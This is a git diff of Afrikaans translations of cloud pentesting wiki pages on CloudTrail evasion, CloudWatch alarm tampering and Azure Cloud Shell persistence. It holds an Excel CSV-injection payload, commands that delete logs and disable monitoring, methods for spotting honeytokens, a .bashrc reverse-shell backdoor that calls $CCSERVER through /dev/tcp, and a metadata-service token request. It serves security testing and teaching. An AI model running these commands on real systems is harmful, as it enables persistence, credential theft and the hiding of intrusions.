  • Gebruik digest lêers (skep hash vir elke lêer)

    • SHA-256 hashing
    • SHA-256 met RSA vir digitale ondertekening
    • privaat sleutel besit deur Amazon
  • Neem 1 uur om 'n digest lêer te skep (gedoen op die uur elke uur)
| | Stop unauthorized access |
  • Gebruik IAM beleid en S3 emmer beleid

    • sekuriteitspan —> admin toegang
    • ouditeurs —> lees slegs toegang
  • Gebruik SSE-S3/SSE-KMS om die logs te enkripteer
| | Prevent log files from being deleted |
  • Beperk verwyder toegang met IAM en emmer beleid
  • Konfigureer S3 MFA verwydering
  • Verifieer met Log File Validation
| @@ -122,10 +122,10 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` -### **CSV Injection** +### **CSV Inspuiting** -Dit is moontlik om 'n CVS-inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal uitvoer as die logs in CSV uitgevoer word en met Excel oopgemaak word.\ -Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail-naam wat die payload bevat: +Dit is moontlik om 'n CVS inspuiting binne CloudTrail uit te voer wat arbitrêre kode sal uitvoer as die logs in CSV uitgevoer word en met Excel oopgemaak word.\ +Die volgende kode sal 'n loginskrywing genereer met 'n slegte Trail naam wat die payload bevat: ```python import boto3 payload = "=cmd|'/C calc'|''" @@ -148,7 +148,7 @@ Vir meer inligting oor hierdie spesifieke tegniek, kyk [https://rhinosecuritylab ### HoneyTokens **omseil** -Honeytokens word geskep om **uitvloeing van sensitiewe inligting te detecteer**. In die geval van AWS, is dit **AWS sleutels waarvan die gebruik gemonitor word**, as iets 'n aksie met daardie sleutel aktiveer, dan moet iemand daardie sleutel gesteel het. +Honeytokens word geskep om **die uitvloeiing van sensitiewe inligting te detecteer**. In die geval van AWS, is dit **AWS sleutels waarvan die gebruik gemonitor word**, as iets 'n aksie met daardie sleutel aktiveer, dan moet iemand daardie sleutel gesteel het. E however, Honeytokens soos die wat geskep is deur [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) gebruik óf 'n herkenbare rekeningnaam óf gebruik dieselfde AWS rekening ID vir al hul kliënte. Daarom, as jy die rekeningnaam en/of rekening ID kan kry sonder om Cloudtrail enige log te laat genereer, **kan jy weet of die sleutel 'n honeytoken is of nie**. @@ -158,7 +158,7 @@ E however, Honeytokens soos die wat geskep is deur [**Canarytokens**](https://ca - Deur hulle meer onlangs te toets, gebruik hulle die rekening **`717712589309`** en het steeds die **`canarytokens.com`** string in die naam. - As **`SpaceCrab`** in die rolnaam in die foutboodskap verskyn. - **SpaceSiren** gebruik **uuids** om gebruikersname te genereer: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- As die **naam soos lukraak gegenereer lyk**, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is. +- As die **naam lyk soos dit lukraak gegenereer is**, is daar 'n hoë waarskynlikheid dat dit 'n HoneyToken is. #### Kry die rekening ID van die Sleutel ID @@ -191,9 +191,9 @@ Die ding is dat die uitvoer 'n fout sal toon wat die rekening-ID en die rekening #### AWS-dienste sonder logs -In die verlede was daar 'n paar **AWS-dienste wat nie logs na CloudTrail stuur nie** (vind 'n [lys hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Sommige van daardie dienste sal **reageer** met 'n **fout** wat die **ARN van die sleutelrol** bevat as iemand ongeoorloof (die honeytoken-sleutel) probeer om toegang te verkry. +In die verlede was daar 'n paar **AWS-dienste wat nie logs na CloudTrail gestuur het nie** (vind 'n [lys hier](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Sommige van daardie dienste sal **antwoordgee** met 'n **fout** wat die **ARN van die sleutelrol** bevat as iemand ongeoorloof (die honeytoken-sleutel) probeer om toegang te verkry. -Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om enige log te aktiveer**. In die ARN kan die aanvaller die **AWS-rekening-ID en die naam** sien, dit is maklik om die HoneyToken se maatskappy se rekening-ID en name te ken, so op hierdie manier kan 'n aanvaller identifiseer of die token 'n HoneyToken is. +Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om enige log te aktiveer**. In die ARN kan die aanvaller die **AWS-rekening-ID en die naam** sien, dit is maklik om die HoneyToken se maatskappy-rekeninge se ID's en name te ken, so op hierdie manier kan 'n aanvaller identifiseer of die token 'n HoneyToken is. ![](<../../../../images/image (93).png>) @@ -204,7 +204,7 @@ Op hierdie manier kan 'n **aanvaller die ARN van die sleutel verkry sonder om en ### Toegang tot Derde Infrastruktuur -Sekere AWS-dienste sal **'n bietjie infrastruktuur** genereer soos **Databasisse** of **Kubernetes** klusters (EKS). 'n Gebruiker wat **direk met daardie dienste praat** (soos die Kubernetes API) **sal nie die AWS API gebruik nie**, so CloudTrail sal nie in staat wees om hierdie kommunikasie te sien nie. +Sekere AWS-dienste sal **sekere infrastruktuur** genereer soos **Databasisse** of **Kubernetes** klusters (EKS). 'n Gebruiker wat **direk met daardie dienste praat** (soos die Kubernetes API) **sal nie die AWS API gebruik nie**, so CloudTrail sal nie in staat wees om hierdie kommunikasie te sien nie. Daarom kan 'n gebruiker met toegang tot EKS wat die URL van die EKS API ontdek het, 'n token plaaslik genereer en **direk met die API-diens praat sonder om deur Cloudtrail opgespoor te word**. @@ -236,20 +236,20 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -In die eerste voorbeeld word 'n enkele gebeurtenis selektor as 'n JSON-array met 'n enkele objek verskaf. Die `"ReadWriteType": "ReadOnly"` dui aan dat die **gebeurtenis selektor slegs lees-slegs gebeurtenisse moet vasvang** (so CloudTrail insigte **sal nie skryf** gebeurtenisse nagaan nie). +In die eerste voorbeeld word 'n enkele gebeurteniskeuse as 'n JSON-array met 'n enkele objek voorsien. Die `"ReadWriteType": "ReadOnly"` dui aan dat die **gebeurteniskeuse slegs lees-slegs gebeurtenisse moet vasvang** (so CloudTrail insigte **sal nie skryf** gebeurtenisse nagaan nie). -Jy kan die gebeurtenis selektor aanpas op grond van jou spesifieke vereistes. +Jy kan die gebeurteniskeuse aanpas op grond van jou spesifieke vereistes. #### Logs verwydering via S3 lewensiklusbeleid ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` -### Modifisering van Emmer Konfigurasie +### Modifying Bucket Configuration -- Verwyder die S3-emmer -- Verander emmerbeleid om enige skrywe van die CloudTrail-diens te weier -- Voeg lewensiklusbeleid by S3-emmer om voorwerpe te verwyder -- Deaktiveer die kms-sleutel wat gebruik word om die CloudTrail-logs te enkripteer +- Verwyder die S3-bucket +- Verander die bucket-beleid om enige skrywe van die CloudTrail-diens te weier +- Voeg 'n lewensiklusbeleid by die S3-bucket om voorwerpe te verwyder +- Deaktiveer die kms-sleutel wat gebruik word om die CloudTrail-logboek te enkripteer ### Cloudtrail ransomware @@ -270,7 +270,7 @@ Dit is 'n maklike manier om die vorige aanval met verskillende toestemmingsverei ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **Verwysings** +## **References** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 572c41b30..370b69ebf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -8,7 +8,7 @@ CloudWatch Log Gebeurtenis het 'n **grootte beperking van 256KB op elke loglyn**.\ Dit kan **hoë resolusie alarms** stel, **logs** en **metrieke** langs mekaar visualiseer, outomatiese aksies neem, probleme oplos, en insigte ontdek om toepassings te optimaliseer. -Jy kan byvoorbeeld logs van CloudTrail monitor. Gebeurtenisse wat gemonitor word: +U kan byvoorbeeld logs van CloudTrail monitor. Gebeurtenisse wat gemonitor word: - Veranderinge aan Sekuriteitsgroepe en NACLs - Begin, Stop, herbegin en beëindig EC2 instansies @@ -27,7 +27,7 @@ Jy kan byvoorbeeld logs van CloudTrail monitor. Gebeurtenisse wat gemonitor word ### Metrieke -Metrieke is datapunte wat oor tyd versamel word en die prestasie of benutting van AWS hulpbronne verteenwoordig. Metrieke kan van AWS dienste, pasgemaakte toepassings, of derdeparty integrasies versamel word. +Metrieke is datapunten wat oor tyd versamel word en die prestasie of benutting van AWS hulpbronne verteenwoordig. Metrieke kan van AWS dienste, pasgemaakte toepassings, of derdeparty integrasies versamel word. - **Voorbeeld**: CPUUtilization, NetworkIn, DiskReadOps. @@ -35,7 +35,7 @@ Metrieke is datapunte wat oor tyd versamel word en die prestasie of benutting va Dimensies is sleutel-waarde pare wat deel van metrieke is. Dit help om 'n metriek uniek te identifiseer en bied addisionele konteks, met 30 die maksimum aantal dimensies wat aan 'n metriek gekoppel kan word. Dimensies laat ook toe om metrieke te filter en te aggregeer op grond van spesifieke eienskappe. -- **Voorbeeld**: Vir EC2 instansies kan dimensies InstanceId, InstanceType, en AvailabilityZone insluit. +- **Voorbeeld**: Vir EC2 instansies, dimensies kan InstanceId, InstanceType, en AvailabilityZone insluit. ### Statistieke @@ -64,11 +64,11 @@ Eenhede is die meting tipe wat aan 'n metriek gekoppel is. Eenhede help om konte - 'n Enkele dashboard wat sleutelmetrieke vir jou hele AWS omgewing toon, insluitend EC2 instansies, RDS databasisse, en S3 emmers. -### Metriek Stroom en Metriek Data +### Metriekstroom en Metriekdata -**Metriek Strome** in AWS CloudWatch stel jou in staat om CloudWatch metrieke voortdurend na 'n bestemming van jou keuse in byna regte tyd te stroom. Dit is veral nuttig vir gevorderde monitering, analise, en pasgemaakte dashboards wat gereedskap buite AWS gebruik. +**Metriekstrome** in AWS CloudWatch stel jou in staat om CloudWatch metrieke voortdurend na 'n bestemming van jou keuse in byna regte tyd te stroom. Dit is veral nuttig vir gevorderde monitering, analise, en pasgemaakte dashboards wat gereedskap buite AWS gebruik. -**Metriek Data** binne Metriek Strome verwys na die werklike metings of datapunte wat gestroom word. Hierdie datapunte verteenwoordig verskillende metrieke soos CPU benutting, geheue gebruik, ens., vir AWS hulpbronne. +**Metriekdata** binne Metriekstrome verwys na die werklike metings of datapunten wat gestroom word. Hierdie datapunten verteenwoordig verskillende metrieke soos CPU benutting, geheue gebruik, ens., vir AWS hulpbronne. **Voorbeeld Gebruik Geval**: @@ -83,7 +83,7 @@ Eenhede is die meting tipe wat aan 'n metriek gekoppel is. Eenhede help om konte - **Drempel**: Die waarde waarop die alarm geaktiveer word. - **Evaluasieperiodes**: Die aantal periodes waaroor data geëvalueer word. -- **Datapunte om Alarm**: Die aantal periodes met 'n bereik drempel wat nodig is om die alarm te aktiveer. +- **Datapunten om Alarm**: Die aantal periodes met 'n bereik drempel wat nodig is om die alarm te aktiveer. - **Aksies**: Wat gebeur wanneer 'n alarmtoestand geaktiveer word (bv. kennisgewing via SNS). **Voorbeeld Gebruik Geval**: @@ -92,37 +92,37 @@ Eenhede is die meting tipe wat aan 'n metriek gekoppel is. Eenhede help om konte ### Anomalie Detektors -**Anomalie Detektors** gebruik masjienleer om outomaties anomalieë in jou metrieke te detecteer. Jy kan anomalie detectie op enige CloudWatch metriek toepas om afwykings van normale patrone te identifiseer wat probleme kan aandui. +**Anomalie Detektors** gebruik masjienleer om outomaties anomalieë in jou metrieke te detecteer. U kan anomaliedetektering op enige CloudWatch metriek toepas om afwykings van normale patrone te identifiseer wat probleme kan aandui. **Sleutel Komponente**: -- **Model Opleiding**: CloudWatch gebruik historiese data om 'n model op te lei en te bepaal wat normale gedrag lyk. -- **Anomalie Detectie Band**: 'n Visuele voorstelling van die verwagte reeks waardes vir 'n metriek. +- **Modelopleiding**: CloudWatch gebruik historiese data om 'n model op te lei en te bepaal hoe normale gedrag lyk. +- **Anomalie Deteksieband**: 'n Visuele voorstelling van die verwagte reeks waardes vir 'n metriek. **Voorbeeld Gebruik Geval**: - Die opsporing van ongewone CPU benutting patrone in 'n EC2 instansie wat 'n sekuriteitsbreuk of toepassingsprobleem kan aandui. -### Inligting Reëls en Gemanagte Inligting Reëls +### Inligtingsreëls en Gemanageerde Inligtingsreëls -**Inligting Reëls** stel jou in staat om tendense te identifiseer, pieke te detecteer, of ander patrone van belang in jou metriekdata te identifiseer deur **kragtige wiskundige uitdrukkings** te gebruik om die toestande te definieer waaronder aksies geneem moet word. Hierdie reëls kan jou help om anomalieë of ongewone gedrag in jou hulpbronprestasie en benutting te identifiseer. +**Inligtingsreëls** stel jou in staat om tendense te identifiseer, pieke of ander patrone van belang in jou metriekdata te detecteer deur **kragtige wiskundige uitdrukkings** te gebruik om die toestande te definieer waaronder aksies geneem moet word. Hierdie reëls kan jou help om anomalieë of ongewone gedrag in jou hulpbronprestasie en benutting te identifiseer. -**Gemanagte Inligting Reëls** is vooraf-gekonfigureerde **inligting reëls wat deur AWS verskaf word**. Hulle is ontwerp om spesifieke AWS dienste of algemene gebruiksgevalle te monitor en kan geaktiveer word sonder om gedetailleerde konfigurasie te benodig. +**Gemanageerde Inligtingsreëls** is vooraf-gekonfigureerde **inligtingsreëls wat deur AWS verskaf word**. Hulle is ontwerp om spesifieke AWS dienste of algemene gebruiksgevalle te monitor en kan geaktiveer word sonder om gedetailleerde konfigurasie te benodig. **Voorbeeld Gebruik Geval**: -- Monitor RDS Prestasie: Aktiveer 'n gemanagte inligting reël vir Amazon RDS wat sleutelprestasie-aanwysers soos CPU benutting, geheue gebruik, en skyf I/O monitor. As enige van hierdie metrieke veilige operasionele drempels oorskry, kan die reël 'n waarskuwing of outomatiese mitigasie aksie aktiveer. +- Monitor RDS Prestasie: Aktiveer 'n gemanageerde inligtingsreël vir Amazon RDS wat sleutelprestasie-indikators soos CPU benutting, geheue gebruik, en skyf I/O monitor. As enige van hierdie metrieke veilige operasionele drempels oorskry, kan die reël 'n waarskuwing of outomatiese mitigering aksie aktiveer. ### CloudWatch Logs Laat toe om **logs van toepassings** en stelsels van **AWS dienste** (insluitend CloudTrail) en **van toepassings/stelsels** (**CloudWatch Agent** kan op 'n gasheer geïnstalleer word) te **aggregeer en te monitor**. Logs kan **onbeperk gestoor** word (afhangende van die Log Groep instellings) en kan uitgevoer word. **Elemente**: - -| **Log Groep** | 'n **versameling van log strome** wat dieselfde retensie, monitering, en toegangbeheer instellings deel | +| Term | Definisie | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Log Groep** | 'n **versameling van log strome** wat dieselfde retensie, monitering, en toegangbeheer instellings deel | | **Log Stroom** | 'n reeks van **log gebeurtenisse** wat die **dieselfde bron** deel | -| **Subskripsie Filters** | Definieer 'n **filterpatroon wat gebeurtenisse** in 'n spesifieke log groep pas, stuur dit na Kinesis Data Firehose stroom, Kinesis stroom, of 'n Lambda funksie | +| **Subskripsiefilters** | Definieer 'n **filterpatroon wat gebeurtenisse** in 'n spesifieke loggroep pas, stuur dit na Kinesis Data Firehose stroom, Kinesis stroom, of 'n Lambda funksie | ### CloudWatch Monitering & Gebeurtenisse @@ -131,15 +131,15 @@ In daardie geval kan CloudWatch voorberei wees om 'n gebeurtenis te stuur en som ### Agent Installasie -Jy kan agente binne jou masjiene/tenks installeer om outomaties die logs terug na CloudWatch te stuur. +U kan agente binne u masjiene/tenks installeer om outomaties die logs terug na CloudWatch te stuur. - **Skep** 'n **rol** en **heg** dit aan die **instansie** met toestemmings wat CloudWatch toelaat om data van die instansies te versamel benewens om met AWS stelsels bestuurder SSM te kommunikeer (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Laai** en **installeer** die **agent** op die EC2 instansie ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Jy kan dit van binne die EC2 aflaai of dit outomaties installeer met AWS Stelsels Bestuurder deur die pakket AWS-ConfigureAWSPackage te kies. +- **Laai** en **installeer** die **agent** op die EC2 instansie ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). U kan dit van binne die EC2 aflaai of dit outomaties installeer met behulp van AWS Stelselsbestuurder deur die pakket AWS-ConfigureAWSPackage te kies. - **Konfigureer** en **begin** die CloudWatch Agent -'n log groep het baie strome. 'n stroom het baie gebeurtenisse. En binne elke stroom is die gebeurtenisse gewaarborg om in volgorde te wees. +'n Log groep het baie strome. 'n Stroom het baie gebeurtenisse. En binne elke stroom is die gebeurtenisse gewaarborg om in volgorde te wees. -## Enumerasie +## Enumeration ```bash # Dashboards # @@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- Die volgende voorbeeld toon hoe om 'n metriek alarm ondoeltreffend te maak: - Hierdie metriek alarm monitor die gemiddelde CPU benutting van 'n spesifieke EC2 instansie, evalueer die metriek elke 300 sekondes en vereis 6 evaluasieperiodes (30 minute in totaal). As die gemiddelde CPU benutting 60% oorskry vir ten minste 4 van hierdie periodes, sal die alarm geaktiveer word en 'n kennisgewing na die gespesifiseerde SNS onderwerp stuur. -- Deur die Drempel aan te pas om meer as 99% te wees, die Periode op 10 sekondes te stel, die Evaluasieperiodes op 8640 (aangesien 8640 periodes van 10 sekondes gelyk is aan 1 dag), en die Datapunte na Alarm ook op 8640 te stel, sal dit nodig wees dat die CPU benutting elke 10 sekondes oor 99% moet wees gedurende die hele 24-uur periode om 'n alarm te aktiveer. +- Deur die Drempel aan te pas om meer as 99% te wees, die Periode op 10 sekondes te stel, die Evaluasieperiodes op 8640 (aangesien 8640 periodes van 10 sekondes gelyk is aan 1 dag), en die Datapunte na Alarm ook op 8640, sal dit nodig wees dat die CPU benutting elke 10 sekondes oor 99% moet wees deur die hele 24-uur periode om 'n alarm te aktiveer. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -279,13 +279,13 @@ Die volgende voorbeeld toon hoe om 'n metriek alarm ondoeltreffend te maak: {{#endtab }} {{#endtabs }} -**Potensiële Impak**: Gebrek aan kennisgewings vir kritieke gebeurtenisse, potensiële onopgemerkte probleme, vals waarskuwings, onderdruk werklike waarskuwings en potensieel gemiste opsporings van werklike voorvalle. +**Potensiële Impak**: Gebrek aan kennisgewings vir kritieke gebeurtenisse, potensiële onopgemerkte probleme, vals waarskuwings, onderdruk werklike waarskuwings en moontlik gemiste opsporings van werklike voorvalle. ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** -Deur alarm aksies te verwyder, kan die aanvaller kritieke waarskuwings en geoutomatiseerde reaksies voorkom wanneer 'n alarmtoestand bereik word, soos om administrateurs te kennisgewing of om outo-skaalaktiwiteite te aktiveer. Onbehoorlike aktivering of heraktivering van alarm aksies kan ook lei tot onverwagte gedrag, hetsy deur voorheen gedeaktiveerde aksies te heraktiveer of deur te verander watter aksies geaktiveer word, wat potensieel verwarring en misleiding in voorvalreaksie kan veroorsaak. +Deur alarm aksies te verwyder, kan die aanvaller kritieke waarskuwings en outomatiese reaksies voorkom wanneer 'n alarmtoestand bereik word, soos om administrateurs te kennisgewing of outo-skaalaktiwiteite te aktiveer. Onbehoorlike aktivering of heraktivering van alarm aksies kan ook lei tot onverwagte gedrag, hetsy deur voorheen gedeaktiveerde aksies te heraktiveer of deur te verander watter aksies geaktiveer word, wat moontlik verwarring en verkeerde rigting in voorvalreaksie kan veroorsaak. -Boonop kan 'n aanvaller met die toestemming alarmtoestande manipuleer, in staat om vals alarms te skep om administrateurs te aflei en te verwarr, of om werklike alarms te stil om aanhoudende kwaadwillige aktiwiteite of kritieke stelselfoute te verberg. +Boonop kan 'n aanvaller met die toestemming alarmtoestande manipuleer, in staat om vals alarms te skep om administrateurs te aflei en te verwarr, of werklike alarms te stil om aanhoudende kwaadwillige aktiwiteite of kritieke stelselfoute te verberg. - As jy **`SetAlarmState`** op 'n saamgestelde alarm gebruik, is dit nie gewaarborg dat die saamgestelde alarm na sy werklike toestand terugkeer nie. Dit keer terug na sy werklike toestand slegs wanneer enige van sy kinderalarms toestand verander. Dit word ook herbeoordeel as jy sy konfigurasie opdateer. ```bash @@ -297,7 +297,7 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] @@ -355,7 +355,7 @@ Die volgende voorbeeld toon hoe om 'n metrieke anomalie-detektor ondoeltreffend ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -'n Aanvaller sou in staat wees om die monitering en visualisering vermoëns van 'n organisasie te kompromitteer deur sy dashboards te skep, te wysig of te verwyder. Hierdie toestemmings kan benut word om kritieke sigbaarheid in die prestasie en gesondheid van stelsels te verwyder, dashboards te verander om verkeerde data te vertoon of kwaadwillige aktiwiteite te verberg. +'n Aanvaller sou in staat wees om die monitering en visualisering vermoëns van 'n organisasie te benadeel deur sy dashboards te skep, te wysig of te verwyder. Hierdie toestemmings kan benut word om kritieke sigbaarheid in die prestasie en gesondheid van stelsels te verwyder, dashboards te verander om verkeerde data te vertoon of kwaadwillige aktiwiteite te verberg. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -364,17 +364,17 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight-reëls word gebruik om anomalieë te detecteer, prestasie te optimaliseer en hulpbronne effektief te bestuur. Deur bestaande insight-reëls te verwyder, kan 'n aanvaller kritieke moniteringsvermoëns verwyder, wat die stelsel blind laat vir prestasieprobleme en sekuriteitsbedreigings. Boonop kan 'n aanvaller insight-reëls skep of wysig om misleidende data te genereer of kwaadwillige aktiwiteite te verberg, wat lei tot onakkurate diagnosering en onvanpaste reaksies van die operasiespan. +Inligtingsreëls word gebruik om anomalieë te detecteer, prestasie te optimaliseer en hulpbronne effektief te bestuur. Deur bestaande inligtingsreëls te verwyder, kan 'n aanvaller kritieke moniteringsvermoëns verwyder, wat die stelsel blind laat vir prestasieprobleme en sekuriteitsbedreigings. Boonop kan 'n aanvaller inligtingsreëls skep of wysig om misleidende data te genereer of kwaadwillige aktiwiteite te verberg, wat lei tot onakkurate diagnosering en onvanpaste reaksies van die operasiespan. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` -**Potensiële Impak**: Moeilikheid om prestasieprobleme en anomalië op te spoor en daarop te reageer, verkeerd ingeligte besluitneming en moontlik die verborge van kwaadwillige aktiwiteite of stelselfoute. +**Potensiële Impak**: Moeilikheid om prestasieprobleme en anomalieë te detecteer en daarop te reageer, verkeerd ingeligte besluitneming en moontlik die verborge van kwaadwillige aktiwiteite of stelselfoute. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Deur kritieke insigreëls te deaktiveer, kan 'n aanvaller die organisasie effektief blind maak vir sleutelprestasie- en sekuriteitsmetrieks. Omgekeerd, deur misleidende reëls in te skakel of te konfigureer, kan dit moontlik wees om vals data te genereer, geraas te skep, of kwaadwillige aktiwiteit te verberg. +Deur kritieke insigreëls te deaktiveer, kan 'n aanvaller die organisasie effektief blind maak vir sleutelprestasie- en sekuriteitsmetrieke. Omgekeerd, deur misleidende reëls in te skakel of te konfigureer, kan dit moontlik wees om vals data te genereer, geraas te skep, of kwaadwillige aktiwiteit te verberg. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -383,13 +383,13 @@ aws cloudwatch enable-insight-rules --rule-names ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -'n Aanvaller met die **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** toestemmings sou in staat wees om metriekdata-strome te skep en te verwyder, wat die sekuriteit, monitering en data-integriteit in gevaar stel: +'n Aanvaller met die **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** regte sou in staat wees om metrieke data strome te skep en te verwyder, wat die sekuriteit, monitering en data integriteit in gevaar stel: -- **Skep kwaadwillige strome**: Skep metriekstrome om sensitiewe data na ongeoorloofde bestemmings te stuur. -- **Hulpbron manipulasie**: Die skep van nuwe metriekstrome met oormatige data kan baie geraas veroorsaak, wat onakkurate waarskuwings veroorsaak en werklike probleme verdoesel. -- **Monitering onderbreking**: Deur metriekstrome te verwyder, sou aanvallers die deurlopende vloei van moniteringsdata onderbreek. Op hierdie manier sou hul kwaadwillige aktiwiteite effektief verborge wees. +- **Skep kwaadwillige strome**: Skep metrieke strome om sensitiewe data na nie-geautoriseerde bestemmings te stuur. +- **Hulpbron manipulasie**: Die skepping van nuwe metrieke strome met oormatige data kan baie geraas veroorsaak, wat onakkurate waarskuwings veroorsaak en werklike probleme verdoesel. +- **Monitering onderbreking**: Deur metrieke strome te verwyder, sou aanvallers die deurlopende vloei van moniteringsdata onderbreek. Op hierdie manier sou hul kwaadwillige aktiwiteite effektief verborge wees. -Op soortgelyke wyse, met die **`cloudwatch:PutMetricData`** toestemming, sou dit moontlik wees om data aan 'n metriekstroom toe te voeg. Dit kan lei tot 'n DoS as gevolg van die hoeveelheid onvanpaste data wat bygevoeg word, wat dit heeltemal nutteloos maak. +Op soortgelyke wyse, met die **`cloudwatch:PutMetricData`** toestemming, sou dit moontlik wees om data aan 'n metrieke stroom toe te voeg. Dit kan lei tot 'n DoS as gevolg van die hoeveelheid onvanpaste data wat bygevoeg word, wat dit heeltemal nutteloos maak. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format @@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -'n Aanvaller sou in staat wees om etikette by te voeg, te wysig of te verwyder van CloudWatch hulpbronne (huidiglik slegs alarms en Contributor Insights reëls). Dit kan jou organisasie se toegangbeheerbeleide op grond van etikette ontwrig. +'n Aanvaller sal in staat wees om etikette by te voeg, te wysig of te verwyder van CloudWatch hulpbronne (huidiglik slegs alarms en Contributor Insights reëls). Dit kan jou organisasie se toegangbeheerbeleide op grond van etikette ontwrig. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index e6879aace..5316d028f 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -4,27 +4,19 @@ ## Cloud Shell Persistence -Azure Cloud Shell bied opdraglyn toegang om Azure hulpbronne te bestuur met volhoubare stoor en outomatiese verifikasie. Aanvallers kan dit benut deur agterdeure in die volhoubare huisgids te plaas: +Azure Cloud Shell bied opdraglyn toegang om Azure hulpbronne te bestuur met volhoubare berging en outomatiese verifikasie. Aanvallers kan dit benut deur agterdeure in die volhoubare tuisgids te plaas: -* **Volhoubare Stoor**: Azure Cloud Shell se huisgids is op 'n Azure lêerdeel gemonteer en bly ongeskonde selfs nadat die sessie eindig. -* **Opstart Skripte**: Lêers soos .bashrc voer outomaties uit aan die begin van elke sessie, wat volhoubare uitvoering toelaat wanneer die cloud shell begin. +* **Volhoubare Berging**: Azure Cloud Shell se tuisgids is op 'n Azure lêerdeel gemonteer en bly ongeskonde selfs nadat die sessie eindig. +* **Opstart Skripte**: Lêers soos .bashrc voer outomaties uit aan die begin van elke sessie, wat volhoubare uitvoering moontlik maak wanneer die cloud shell begin. Voorbeeld agterdeur in .bashrc: - -{% code overflow="wrap" %} ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -{% endcode %} - Hierdie agterdeur kan opdragte uitvoer selfs 5 minute nadat die wolkskulp deur die gebruiker voltooi is. -Boonop kan jy Azure se metadata-diens vir instansiedetails en tokens ondervra: -{% code overflow="wrap" %} +Verder kan jy Azure se metadata-diens vir instansiedetails en tokens raadpleeg: ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 98a5fa7f3..56dbf252e 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ 